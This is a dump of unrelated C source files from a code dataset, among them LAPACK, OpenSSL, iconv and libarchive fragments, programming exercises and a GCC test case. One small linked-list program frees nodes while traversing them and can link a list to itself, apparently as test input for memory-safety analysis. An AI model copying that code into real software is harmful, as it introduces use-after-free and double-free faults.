i__3 = f2cmin(i__4,*n);
for (j = f2cmax(i__2,1); j <= i__3; ++j) {
i__2 = kd + i__ - j + j * ab_dim1;
tmp += ((d__1 = ab[i__2].r, abs(d__1)) + (d__2 = d_imag(&
ab[kd + i__ - j + j * ab_dim1]), abs(d__2))) /
c__[j];
}
} else {
/* Computing MAX */
i__3 = i__ - *kl;
/* Computing MIN */
i__4 = i__ + *ku;
i__2 = f2cmin(i__4,*n);
for (j = f2cmax(i__3,1); j <= i__2; ++j) {
i__3 = kd + i__ - j + j * ab_dim1;
tmp += (d__1 = ab[i__3].r, abs(d__1)) + (d__2 = d_imag(&
ab[kd + i__ - j + j * ab_dim1]), abs(d__2));
}
}
rwork[i__] = tmp;
anorm = f2cmax(anorm,tmp);
}
} else {
i__1 = *n;
for (i__ = 1; i__ <= i__1; ++i__) {
tmp = 0.;
if (*capply) {
/* Computing MAX */
i__2 = i__ - *kl;
/* Computing MIN */
i__4 = i__ + *ku;
i__3 = f2cmin(i__4,*n);
for (j = f2cmax(i__2,1); j <= i__3; ++j) {
i__2 = ke - i__ + j + i__ * ab_dim1;
tmp += ((d__1 = ab[i__2].r, abs(d__1)) + (d__2 = d_imag(&
ab[ke - i__ + j + i__ * ab_dim1]), abs(d__2))) /
c__[j];
}
} else {
/* Computing MAX */
i__3 = i__ - *kl;
/* Computing MIN */
i__4 = i__ + *ku;
i__2 = f2cmin(i__4,*n);
for (j = f2cmax(i__3,1); j <= i__2; ++j) {
i__3 = ke - i__ + j + i__ * ab_dim1;
tmp += (d__1 = ab[i__3].r, abs(d__1)) + (d__2 = d_imag(&
ab[ke - i__ + j + i__ * ab_dim1]), abs(d__2));
}
}
rwork[i__] = tmp;
anorm = f2cmax(anorm,tmp);
}
}
/* Quick return if possible. */
if (*n == 0) {
ret_val = 1.;
return ret_val;
} else if (anorm == 0.) {
return ret_val;
}
/* Estimate the norm of inv(op(A)). */
ainvnm = 0.;
kase = 0;
L10:
zlacn2_(n, &work[*n + 1], &work[1], &ainvnm, &kase, isave);
if (kase != 0) {
if (kase == 2) {
/* Multiply by R. */
i__1 = *n;
for (i__ = 1; i__ <= i__1; ++i__) {
i__2 = i__;
i__3 = i__;
i__4 = i__;
z__1.r = rwork[i__4] * work[i__3].r, z__1.i = rwork[i__4] *
work[i__3].i;
work[i__2].r = z__1.r, work[i__2].i = z__1.i;
}
if (notrans) {
zgbtrs_("No transpose", n, kl, ku, &c__1, &afb[afb_offset],
ldafb, &ipiv[1], &work[1], n, info);
} else {
zgbtrs_("Conjugate transpose", n, kl, ku, &c__1, &afb[
afb_offset], ldafb, &ipiv[1], &work[1], n, info);
}
/* Multiply by inv(C). */
if (*capply) {
i__1 = *n;
for (i__ = 1; i__ <= i__1; ++i__) {
i__2 = i__;
i__3 = i__;
i__4 = i__;
z__1.r = c__[i__4] * work[i__3].r, z__1.i = c__[i__4] *
work[i__3].i;
work[i__2].r = z__1.r, work[i__2].i = z__1.i;
}
}
} else {
/* Multiply by inv(C**H). */
if (*capply) {
i__1 = *n;
for (i__ = 1; i__ <= i__1; ++i__) {
i__2 = i__;
i__3 = i__;
i__4 = i__;
z__1.r = c__[i__4] * work[i__3].r, z__1.i = c__[i__4] *
work[i__3].i;
work[i__2].r = z__1.r, work[i__2].i = z__1.i;
}
}
if (notrans) {
zgbtrs_("Conjugate transpose", n, kl, ku, &c__1, &afb[
afb_offset], ldafb, &ipiv[1], &work[1], n, info);
} else {
zgbtrs_("No transpose", n, kl, ku, &c__1, &afb[afb_offset],
ldafb, &ipiv[1], &work[1], n, info);
}
/* Multiply by R. */
i__1 = *n;
for (i__ = 1; i__ <= i__1; ++i__) {
i__2 = i__;
i__3 = i__;
i__4 = i__;
z__1.r = rwork[i__4] * work[i__3].r, z__1.i = rwork[i__4] *
work[i__3].i;
work[i__2].r = z__1.r, work[i__2].i = z__1.i;
}
}
goto L10;
}
/* Compute the estimate of the reciprocal condition number. */
if (ainvnm != 0.) {
ret_val = 1. / ainvnm;
}
return ret_val;
} /* zla_gbrcond_c__ */
|
the_stack_data/937813.c
|
/*The count-and-say sequence is the sequence of integers with the first five terms as following:
1. 1
2. 11
3. 21
4. 1211
5. 111221
1 is read off as "one 1" or 11.
11 is read off as "two 1s" or 21.
21 is read off as "one 2, then one 1" or 1211.
Given an integer n where 1 = n = 30, generate the nth term of the count-and-say sequence.
Note: Each term of the sequence of integers will be represented as a string.
Example 1:
Input: 1
Output: "1"
Example 2:
Input: 4
Output: "1211"
*/
char* countAndSay(int n) {
}
|
the_stack_data/325464.c
|
/* pem_xaux.c */
/*
* Written by Dr Stephen N Henson ([email protected]) for the OpenSSL project
* 2001.
*/
/* ====================================================================
* Copyright (c) 2001 The OpenSSL Project. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
*
* 3. All advertising materials mentioning features or use of this
* software must display the following acknowledgment:
* "This product includes software developed by the OpenSSL Project
* for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)"
*
* 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to
* endorse or promote products derived from this software without
* prior written permission. For written permission, please contact
* [email protected].
*
* 5. Products derived from this software may not be called "OpenSSL"
* nor may "OpenSSL" appear in their names without prior written
* permission of the OpenSSL Project.
*
* 6. Redistributions of any form whatsoever must retain the following
* acknowledgment:
* "This product includes software developed by the OpenSSL Project
* for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)"
*
* THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY
* EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR
* ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
* ====================================================================
*
* This product includes cryptographic software written by Eric Young
* ([email protected]). This product includes software written by Tim
* Hudson ([email protected]). */
#include <stdio.h>
#include <openssl/bio.h>
#include <openssl/evp.h>
#include <openssl/pem.h>
#include <openssl/x509.h>
IMPLEMENT_PEM_rw(X509_AUX, X509, PEM_STRING_X509_TRUSTED, X509_AUX)
|
the_stack_data/104828040.c
|
/* The following if statement is unnecessarily complicated. Simplify it as much as possible.
Hint: The entire statement can be replaced by a single assignment.
if (age >= 13)
if (age <= 19)
teenager = true;
else
teenager = false;
else if (age < 13)
teenager = false;
*/
#include <stdio.h>
#define bool int
#define true 1
#define false 0
int main() {
int age;
bool teenager;
age = 15;
/*
if (age >= 13)
if (age <= 19)
teenager = true;
else
teenager = false;
else if (age < 13)
teenager = false;
*/
teenager = age >= 13 && age <= 19 ? true : false;
printf("Age: %d\n", age);
// Age: 15
printf("Teenager: %s", teenager ? "true" : "false");
// Teenager: true
return 0;
}
|
the_stack_data/142170.c
|
n_basis_M1 = 1;
n_basis_M2 = 1;
n_basis_DQ = 4;
|
the_stack_data/225143646.c
|
#include <stdio.h>
void printer(int countArray[9]){
//countArray is of the form [total A, most A network, most A count,
//total B, most B first, most B second, most B count,
//total C, most C first, most C second, most C third, most C count]
printf("Class A has %d networks\n", countArray[0]);
if (countArray[2] == 1){
printf("All A networks have only 1 host\n");
}else{
printf("Largest A network is %d with %d hosts\n", countArray[1], countArray[2]);
}
printf("Class B has %d networks\n", countArray[3]);
if (countArray[6] == 1){
printf("All B networks have only 1 host\n");
}else{
printf("Largest B network is %d.%d with %d hosts\n", countArray[4],countArray[5], countArray[6]);
}
printf("Class C has %d networks\n", countArray[7]);
if (countArray[11] == 1){
printf("All C networks have only 1 host\n");
}else{
printf("Largest C network is %d.%d.%d with %d hosts\n", countArray[8], countArray[9], countArray[10], countArray[11]);
}
}
|
the_stack_data/22011781.c
|
int my_function() {
int my_var = 0xbaba;
return my_var;
}
|
the_stack_data/11074544.c
|
#include <stdio.h>
int main(){
int lesmas,j,n,valor,level;
while(scanf("%d",&lesmas) != EOF)//o looping vai occorer ate lesmas nao receber valor
{
for (j = 0; j < lesmas; j++)// cada lesma ira recebr seu valor
{
scanf("%d",&valor);
if (valor>=20)//
{
level=3;
}else if (valor >=10 && valor <20 && level!=3)//se level for 3 ele começa a ignorar ou outrso valores
{
level=2;
}else if(valor<10 && level !=2 && level !=3)//se lvl for 1
{
level=1;
}
}
printf("%d\n",level);
level =0;
}
return 0;
}
|
the_stack_data/1012592.c
|
/*
* CDDL HEADER START
*
* The contents of this file are subject to the terms of the
* Common Development and Distribution License (the "License").
* You may not use this file except in compliance with the License.
*
* You can obtain a copy of the license at src/OPENSOLARIS.LICENSE
* or http://www.opensolaris.org/os/licensing.
* See the License for the specific language governing permissions
* and limitations under the License.
*
* When distributing Covered Code, include this CDDL HEADER in each
* file and include the License file at src/OPENSOLARIS.LICENSE.
* If applicable, add the following below this CDDL HEADER, with the
* fields enclosed by brackets "[]" replaced with your own identifying
* information: Portions Copyright [yyyy] [name of copyright owner]
*
* CDDL HEADER END
*/
/*
* Copyright (c) 1995, by Sun Microsystems, Inc.
* All rights reserved.
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <libintl.h>
#define MSB 0x80 /* most significant bit */
#define MBYTE 0x8e /* multi-byte (4 byte character) */
#define PMASK 0xa0 /* plane number mask */
#define ONEBYTE 0xff /* right most byte */
#define MSB_OFF 0x7f /* mask off MSB */
#define SI 0x0f /* shift in */
#define SO 0x0e /* shift out */
#define ESC 0x1b /* escape */
/* static const char plane_char[] = "0GH23456789:;<=>?"; */
static const char plane_char[] = "0GHIJKLMNOPQRSTUV";
#define GET_PLANEC(i) (plane_char[i])
#define NON_ID_CHAR '_' /* non-identified character */
typedef struct _icv_state {
char keepc[4]; /* maximum # byte of CNS11643 code */
short cstate; /* state machine id (CNS) */
short istate; /* state machine id (ISO) */
int _errno; /* internal errno */
} _iconv_st;
enum _CSTATE { C0, C1, C2, C3, C4 };
enum _ISTATE { IN, OUT };
static int get_plane_no_by_char(const char);
static int cns_to_iso(int, char[], char*, size_t);
static int get_plane_no_by_str(const char *);
struct _cv_state {
int plane_no;
int get_a_mbchar;
int more_bytes;
int first_byte;
int plane_changed;
char planec;
char *p;
char keepc[4];
};
/*
* Open; called from iconv_open()
*/
void *
_icv_open()
{
_iconv_st *st;
if ((st = (_iconv_st *)malloc(sizeof(_iconv_st))) == NULL) {
errno = ENOMEM;
return ((void *) -1);
}
st->cstate = C0;
st->istate = IN;
st->_errno = 0;
#ifdef DEBUG
fprintf(stderr, "========== iconv(): CNS11643 --> ISO 2022-7 ==========\n");
#endif
return ((void *) st);
}
/*
* Close; called from iconv_close()
*/
void
_icv_close(_iconv_st *st)
{
if (!st)
errno = EBADF;
else
free(st);
}
/*
* Actual conversion; called from iconv()
*/
/*=======================================================
*
* State Machine for interpreting CNS 11643 code
*
*=======================================================
*
* (ESC,SO) plane 2 - 16
* 1st C 2nd C 3rd C
* +------> C0 -----> C1 -----------> C2 -----> C3
* | ascii | plane 1 | 4th C |
* ^ | 2nd C v v
* | | C4 <------<--------<-------+
* | v | (SI)
* +----<---+-----<----v
*
*=======================================================*/
size_t
_icv_iconv(_iconv_st *st, char **inbuf, size_t *inbytesleft,
char **outbuf, size_t *outbytesleft)
{
int plane_no = -1, n;
/* pre_plane_no: need to be static when re-entry occurs on errno set */
static int pre_plane_no = -1; /* previous plane number */
if (st == NULL) {
errno = EBADF;
return ((size_t) -1);
}
if (inbuf == NULL || *inbuf == NULL) { /* Reset request. */
if (st->cstate == C1) {
if (outbytesleft && *outbytesleft >= 1
&& outbuf && *outbuf) {
**outbuf = SI;
(*outbuf)++;
(*outbytesleft)--;
} else {
errno = E2BIG;
return((size_t) -1);
}
}
st->cstate = C0;
st->istate = IN;
st->_errno = 0;
return ((size_t) 0);
}
#ifdef DEBUG
fprintf(stderr, "=== (Re-entry) iconv(): CNS11643 --> ISO 2022-7 ===\n");
fprintf(stderr, "st->cstate=%d\tst->istate=%d\tst->_errno=%d\tplane_no=%d\n",
st->cstate, st->istate, st->_errno, plane_no);
#endif
st->_errno = 0; /* reset internal errno */
errno = 0; /* reset external errno */
/* a state machine for interpreting CNS 11643 code */
while (*inbytesleft > 0 && *outbytesleft > 0) {
switch (st->cstate) {
case C0: /* assuming ASCII in the beginning */
if (**inbuf & MSB) {
st->keepc[0] = (**inbuf);
st->cstate = C1;
} else { /* real ASCII */
if (st->istate == OUT) {
st->cstate = C0;
st->istate = IN;
**outbuf = SI;
(*outbuf)++;
(*outbytesleft)--;
if (*outbytesleft <= 0) {
errno = E2BIG;
return((size_t)-1);
}
}
**outbuf = **inbuf;
(*outbuf)++;
(*outbytesleft)--;
}
break;
case C1: /* Chinese characters: 2nd byte */
if ((st->keepc[0] & ONEBYTE) == MBYTE) { /* 4-byte (0x8e) */
plane_no = get_plane_no_by_char(**inbuf);
if (plane_no == -1) { /* illegal plane */
st->cstate = C0;
st->istate = IN;
st->_errno = errno = EILSEQ;
} else { /* 4-byte Chinese character */
st->keepc[1] = (**inbuf);
st->cstate = C2;
}
} else { /* 2-byte Chinese character - plane #1 */
if (**inbuf & MSB) { /* plane #1 */
st->cstate = C4;
st->keepc[1] = (**inbuf);
st->keepc[2] = st->keepc[3] = '\0';
plane_no = 1;
continue; /* should not advance *inbuf */
} else { /* input char doesn't belong
* to the input code set
*/
st->cstate = C0;
st->istate = IN;
st->_errno = errno = EINVAL;
}
}
break;
case C2: /* plane #2 - #16 (4 bytes): get 3nd byte */
if (**inbuf & MSB) { /* 3rd byte */
st->keepc[2] = (**inbuf);
st->cstate = C3;
} else {
st->_errno = errno = EINVAL;
st->cstate = C0;
}
break;
case C3: /* plane #2 - #16 (4 bytes): get 4th byte */
if (**inbuf & MSB) { /* 4th byte */
st->cstate = C4;
st->keepc[3] = (**inbuf);
continue; /* should not advance *inbuf */
} else {
st->_errno = errno = EINVAL;
st->cstate = C0;
}
break;
case C4: /* Convert code from CNS 11643 to ISO 2022-7 */
if ((st->istate == IN) || (pre_plane_no != plane_no)) {
/* change plane # in Chinese mode */
if (st->istate == OUT) {
**outbuf = SI;
(*outbuf)++;
(*outbytesleft)--;
#ifdef DEBUG
fprintf(stderr, "(plane #=%d\tpre_plane #=%d)\t", plane_no, pre_plane_no);
#endif
}
if (*outbytesleft < 4) {
st->_errno = errno = E2BIG;
return((size_t)-1);
}
pre_plane_no = plane_no;
st->istate = OUT; /* shift out */
**outbuf = ESC;
*(*outbuf+1) = '$';
*(*outbuf+2) = ')';
*(*outbuf+3) = GET_PLANEC(plane_no);
#ifdef DEBUG
fprintf(stderr, "ESC $ ) %c\n", *(*outbuf+3));
#endif
(*outbuf) += 4;
(*outbytesleft) -= 4;
if (*outbytesleft <= 0) {
st->_errno = errno = E2BIG;
return((size_t)-1);
}
**outbuf = SO;
(*outbuf)++;
(*outbytesleft)--;
}
n = cns_to_iso(plane_no, st->keepc, *outbuf, *outbytesleft);
if (n > 0) {
(*outbuf) += n;
(*outbytesleft) -= n;
} else {
st->_errno = errno;
return((size_t)-1);
}
st->cstate = C0;
break;
default: /* should never come here */
st->_errno = errno = EILSEQ;
st->cstate = C0; /* reset state */
break;
}
(*inbuf)++;
(*inbytesleft)--;
if (st->_errno) {
#ifdef DEBUG
fprintf(stderr, "!!!!!\tst->_errno = %d\tst->cstate = %d\n",
st->_errno, st->cstate);
#endif
break;
}
if (errno)
return((size_t)-1);
}
if (*inbytesleft > 0 && *outbytesleft == 0) {
errno = E2BIG;
return((size_t)-1);
}
return (*inbytesleft);
}
/*
* Get plane number by char; i.e. 0xa2 returns 2, 0xae returns 14, etc.
* Returns -1 on error conditions
*/
static int get_plane_no_by_char(const char inbuf)
{
int ret;
unsigned char uc = (unsigned char) inbuf;
ret = uc - PMASK;
switch (ret) {
case 1: /* 0x8EA1 */
case 2: /* 0x8EA2 */
case 3: /* 0x8EA3 */
case 4: /* 0x8EA4 */
case 5: /* 0x8EA5 */
case 6: /* 0x8EA6 */
case 7: /* 0x8EA7 */
case 12: /* 0x8EAC */
case 14: /* 0x8EAE */
case 15: /* 0x8EAF */
case 16: /* 0x8EB0 */
return (ret);
default:
return (-1);
}
}
/*
* CNS 11643 code --> ISO 2022-7
* Return: > 0 - converted with enough space in output buffer
* = 0 - no space in outbuf
*/
static int cns_to_iso(int plane_no, char keepc[], char *buf, size_t buflen)
{
char cns_str[3];
unsigned long cns_val; /* MSB mask off CNS 11643 value */
#ifdef DEBUG
fprintf(stderr, "%s %d ", keepc, plane_no);
#endif
if (buflen < 2) {
errno = E2BIG;
return(0);
}
if (plane_no == 1) {
cns_str[0] = keepc[0] & MSB_OFF;
cns_str[1] = keepc[1] & MSB_OFF;
} else {
cns_str[0] = keepc[2] & MSB_OFF;
cns_str[1] = keepc[3] & MSB_OFF;
}
cns_val = (cns_str[0] << 8) + cns_str[1];
#ifdef DEBUG
fprintf(stderr, "%x\t", cns_val);
#endif
*buf = (cns_val & 0xff00) >> 8;
*(buf+1) = cns_val & 0xff;
#ifdef DEBUG
fprintf(stderr, "->%x %x<-\t->%c %c<-\n", *buf, *(buf+1), *buf, *(buf+1));
#endif
return(2);
}
void *
_cv_open()
{
struct _cv_state *st;
if ((st = (struct _cv_state *)malloc(sizeof(struct _cv_state))) == NULL)
return ((void *)-1);
st->plane_no = 0;
st->get_a_mbchar = 1;
st->first_byte = 1;
return (st);
}
void
_cv_close(struct _cv_state *st)
{
free(st);
}
size_t
_cv_enconv(struct _cv_state *st, char **cvinbuf, size_t *cvinbytesleft,
char **cvoutbuf, size_t *cvoutbytesleft)
{
char *inbuf;
char *outbuf;
size_t insize;
size_t outsize;
unsigned char uc;
int i;
if (cvinbuf == NULL || *cvinbuf == NULL) { /* Reset request. */
if (cvoutbuf && *cvoutbuf != NULL &&
*cvoutbytesleft > 0 && st->plane_no != 0) {
**cvoutbuf = SI;
(*cvoutbytesleft)--;
(*cvoutbuf)++;
}
st->plane_no = 0;
st->get_a_mbchar = 1;
st->first_byte = 1;
return (0);
}
inbuf = *cvinbuf;
outbuf = *cvoutbuf;
insize = *cvinbytesleft;
outsize = *cvoutbytesleft;
while ((int) insize > 0 && (int) outsize > 0) {
if (st->get_a_mbchar) {
if (st->plane_no == 0) { /* short cut */
do {
uc = *inbuf;
if ((uc & MSB) == 0) {
*outbuf++ = uc;
outsize--;
inbuf++;
insize--;
} else
goto non_plane_0;
} while ((int) insize > 0 && (int) outsize > 0);
goto success;
}
non_plane_0:
if (st->first_byte) {
st->first_byte = 0;
st->keepc[0] = uc = *inbuf++;
insize--;
if (uc & MSB) {
if (uc == 0x8e)
st->more_bytes = 3;
else
st->more_bytes = 1;
st->p = st->keepc + 1;
} else
st->more_bytes = 0;
}
while (st->more_bytes > 0 && (int) insize > 0) {
*st->p++ = *inbuf++;
st->more_bytes--;
insize--;
}
if (st->more_bytes == 0)
st->get_a_mbchar = 0;
/* up to this point, st->keepc contains a complete mb char */
i = get_plane_no_by_str(st->keepc);
st->plane_changed = (st->plane_no != i);
if (st->plane_changed) { /* generate SI */
st->planec = GET_PLANEC(i);
if (st->plane_no != 0) {
*outbuf++ = SI;
outsize--;
st->plane_no = i;
if ((int) outsize <= 0)
goto success;
} else
st->plane_no = i;
}
}
/*
* up to this point, st->keepc contains a complete mb char and
* we know the plane_no
*/
switch (st->plane_no) {
case 0:
*outbuf++ = st->keepc[0];
outsize--;
break;
case 1:
if (st->plane_changed) {
if (outsize < 7)
goto success;
*outbuf++ = ESC;
*outbuf++ = '$';
*outbuf++ = ')';
*outbuf++ = 'G';
*outbuf++ = SO;
*outbuf++ = st->keepc[0] & MSB_OFF;
*outbuf++ = st->keepc[1] & MSB_OFF;
outsize -= 7;
} else { /* don't need the escape sequence */
if (outsize < 2)
goto success;
*outbuf++ = st->keepc[0] & MSB_OFF;
*outbuf++ = st->keepc[1] & MSB_OFF;
outsize -= 2;
}
break;
default:
if (st->plane_changed) {
if (outsize < 7)
goto success;
*outbuf++ = ESC;
*outbuf++ = '$';
*outbuf++ = ')';
*outbuf++ = st->planec;
*outbuf++ = SO;
*outbuf++ = st->keepc[2] & MSB_OFF;
*outbuf++ = st->keepc[3] & MSB_OFF;
outsize -= 7;
} else { /* don't need the escape sequence */
if (outsize < 2)
goto success;
*outbuf++ = st->keepc[2] & MSB_OFF;
*outbuf++ = st->keepc[3] & MSB_OFF;
outsize -= 2;
}
break;
}
/*
* up to this point, a complete multibyte character has been
* converted and written to outbuf, so need to grab the next
* mb char from inbuf
*/
st->get_a_mbchar = 1;
st->first_byte = 1;
}
success:
*cvinbytesleft = insize;
*cvoutbytesleft = outsize;
*cvinbuf = inbuf;
*cvoutbuf = outbuf;
return (insize);
}
static int get_plane_no_by_str(const char *inbuf) {
unsigned char uc = (unsigned char) *inbuf;
if (uc & MSB) {
if (uc != 0x8e)
return (1);
uc = *(++inbuf);
return (uc - 0xa0);
} else
return (0);
}
|
the_stack_data/50138321.c
|
extern void * malloc(unsigned);
extern void free (void *);
struct list {
int flag;
struct list * next;
};
void destroy (struct list * head) {
struct list * cur = head;
while (cur->flag != -1) {
cur = cur->next;
free (cur);
}
}
struct list * construct (unsigned idx) {
struct list * head;
unsigned i = 0;
head = malloc(sizeof(struct list));
head->next = 0;
head->flag = -1;
for (i =0; i<idx; i++){
struct list * cur = malloc(sizeof(struct list));
cur->flag = idx;
cur->next = head;
head = cur;
}
return head;
}
struct list * addlist (struct list * l, struct list * elem) {
struct list * head = l;
struct list * t;
while (t = head->next)
head = t;
head->next = elem;
return l;
}
void main () {
struct list * head;
struct list * head1;
head = construct (10);
head1 = construct (2);
if (head->flag == 5)
head1 = head;
head = addlist(head, head1);
destroy (head);
}
|
the_stack_data/107952526.c
|
/* { dg-do compile } */
/* { dg-additional-options "-fno-vect-cost-model" } */
int printf (const char *, ...);
int a, b, g;
short c, e, h, i;
int f[8];
void fn1() {
short j;
for (; a;) {
printf("%d", g);
b = 7;
for (; b >= 0; b--) {
i = 1;
short k = f[b];
e = k ? k : 3;
j = (i && (c |= e)) << 3;
int l = j, m = 0;
h = l < 0 || l >> m;
f[b] = h;
}
}
}
|
the_stack_data/63019.c
|
/* Exercise 4-3. Given the basic framework, it's straightforward to extend the calculator.
Add the modulus (%) operator and provisions for negative numbers. */
#include <stdio.h>
#include <stdlib.h> /* for atof() */
#define MAXOP 100 /* max size of operand or operator */
#define NUMBER '0' /* signal that a number was found */
int getop(char []);
void push(double);
double pop(void);
/* reverse Polish calculator */
int main()
{
int type;
double op2;
char s[MAXOP];
while ((type = getop(s)) != EOF)
{
switch (type)
{
case NUMBER:
push(atof(s));
break;
case '+':
push(pop() + pop());
break;
case '*':
push(pop() * pop());
break;
case '-':
op2 = pop();
push(pop() - op2);
break;
case '/':
op2 = pop();
if (op2 != 0.0)
push(pop() / op2);
else
printf("error: zero divisor\n");
break;
case '%':
op2 = pop();
if (op2 != 0.0)
push((int)pop() % (int)op2);
else
printf("error: zero divisor\n");
break;
case '\n':
printf("\t%.8g\n", pop());
break;
default:
printf("error: unknown command %s\n", s);
break;
}
}
return 0;
}
#define MAXVAL 100 /* maximum depth of val stack */
int sp = 0; /* next free stack position */
double val[MAXVAL]; /* value stack */
/* push: push f onto value stack */
void push(double f)
{
if (sp < MAXVAL)
val[sp++] = f;
else
printf("error: stack full, can't push %g\n", f);
}
/* pop: pop and return top value from stack */
double pop(void)
{
if (sp > 0)
return val[--sp];
else
{
printf("error: stack empty\n");
return 0.0;
}
}
#include <ctype.h>
int getch(void);
void ungetch(int);
/* getop: get next character or numeric operand */
int getop(char s[])
{
int i, c;
while ((s[0] = c = getch()) == ' ' || c == '\t')
;
s[1] = '\0';
if (!isdigit(c) && c != '.')
return c; /* not a number */
i = 0;
if (isdigit(c)) /* collect integer part */
while (isdigit(s[++i] = c = getch()))
;
if (c == '.') /* collect fraction part */
while (isdigit(s[++i] = c = getch()))
;
s[i] = '\0';
if (c != EOF)
ungetch(c);
return NUMBER;
}
#define BUFSIZE 100
char buf[BUFSIZE]; /* buffer for ungetch */
int bufp = 0; /* next free position in buf */
int getch(void) /* get a (possibly pushed-back) character */
{
return (bufp > 0) ? buf[--bufp] : getchar();
}
void ungetch(int c) /* push character back on input */
{
if (bufp >= BUFSIZE)
printf("ungetch: too many characters\n");
else
buf[bufp++] = c;
}
|
the_stack_data/50137337.c
|
#define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
typedef struct TYPE_7__ TYPE_3__ ;
typedef struct TYPE_6__ TYPE_1__ ;
/* Type definitions */
typedef int wchar_t ;
struct zip_entry {char system; int zip_flags; char compression; scalar_t__ crc32; char decdat; int compressed_size; scalar_t__ uncompressed_size; int mode; int flags; int /*<<< orphan*/ atime; int /*<<< orphan*/ ctime; int /*<<< orphan*/ mtime; int /*<<< orphan*/ gid; int /*<<< orphan*/ uid; } ;
struct TYPE_6__ {int /*<<< orphan*/ s; } ;
struct zip {int end_of_entry; int init_default_conversion; int has_encrypted_entries; int init_decryption; int entry_bytes_remaining; TYPE_1__ format_name; struct zip_entry* entry; struct archive_string_conv* sconv_utf8; struct archive_string_conv* sconv_default; struct archive_string_conv* sconv; int /*<<< orphan*/ ignore_crc32; int /*<<< orphan*/ (* crc32func ) (int /*<<< orphan*/ ,int /*<<< orphan*/ *,int /*<<< orphan*/ ) ;int /*<<< orphan*/ entry_crc32; scalar_t__ entry_compressed_bytes_read; scalar_t__ entry_uncompressed_bytes_read; scalar_t__ decompress_init; } ;
struct archive_wstring {char* s; } ;
struct archive_string_conv {int dummy; } ;
struct archive_string {char* s; } ;
struct TYPE_7__ {int /*<<< orphan*/ archive_format_name; } ;
struct archive_read {TYPE_3__ archive; } ;
struct archive_entry {int dummy; } ;
typedef int /*<<< orphan*/ intmax_t ;
/* Variables and functions */
int AE_IFDIR ;
int AE_IFIFO ;
int AE_IFLNK ;
int AE_IFMT ;
int AE_IFREG ;
int ARCHIVE_ERRNO_FILE_FORMAT ;
int ARCHIVE_ERRNO_MISC ;
int ARCHIVE_FATAL ;
int ARCHIVE_OK ;
int ARCHIVE_WARN ;
int ENOMEM ;
int LA_FROM_CENTRAL_DIRECTORY ;
int ZIP_CENTRAL_DIRECTORY_ENCRYPTED ;
int ZIP_ENCRYPTED ;
int ZIP_LENGTH_AT_END ;
int ZIP_STRONG_ENCRYPTED ;
int ZIP_UTF8_NAME ;
void* __archive_read_ahead (struct archive_read*,size_t,int /*<<< orphan*/ *) ;
scalar_t__ __archive_read_consume (struct archive_read*,size_t) ;
scalar_t__ archive_entry_copy_pathname_l (struct archive_entry*,void const*,size_t,struct archive_string_conv*) ;
int /*<<< orphan*/ archive_entry_copy_pathname_w (struct archive_entry*,char*) ;
scalar_t__ archive_entry_copy_symlink_l (struct archive_entry*,char const*,size_t,struct archive_string_conv*) ;
char* archive_entry_pathname (struct archive_entry*) ;
int* archive_entry_pathname_w (struct archive_entry*) ;
int /*<<< orphan*/ archive_entry_set_atime (struct archive_entry*,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ;
int /*<<< orphan*/ archive_entry_set_ctime (struct archive_entry*,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ;
int /*<<< orphan*/ archive_entry_set_gid (struct archive_entry*,int /*<<< orphan*/ ) ;
int /*<<< orphan*/ archive_entry_set_is_data_encrypted (struct archive_entry*,int) ;
int /*<<< orphan*/ archive_entry_set_is_metadata_encrypted (struct archive_entry*,int) ;
int /*<<< orphan*/ archive_entry_set_mode (struct archive_entry*,int) ;
int /*<<< orphan*/ archive_entry_set_mtime (struct archive_entry*,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ;
int /*<<< orphan*/ archive_entry_set_pathname (struct archive_entry*,char*) ;
int /*<<< orphan*/ archive_entry_set_size (struct archive_entry*,scalar_t__) ;
int /*<<< orphan*/ archive_entry_set_uid (struct archive_entry*,int /*<<< orphan*/ ) ;
void* archive_le16dec (char const*) ;
void* archive_le32dec (char const*) ;
int /*<<< orphan*/ archive_set_error (TYPE_3__*,int,char*,...) ;
int /*<<< orphan*/ archive_strappend_char (struct archive_wstring*,char) ;
int /*<<< orphan*/ archive_strcat (struct archive_wstring*,char const*) ;
int /*<<< orphan*/ archive_string_conversion_charset_name (struct archive_string_conv*) ;
struct archive_string_conv* archive_string_conversion_from_charset (TYPE_3__*,char*,int) ;
struct archive_string_conv* archive_string_default_conversion_for_read (TYPE_3__*) ;
int /*<<< orphan*/ archive_string_empty (TYPE_1__*) ;
int /*<<< orphan*/ archive_string_free (struct archive_wstring*) ;
int /*<<< orphan*/ archive_string_init (struct archive_wstring*) ;
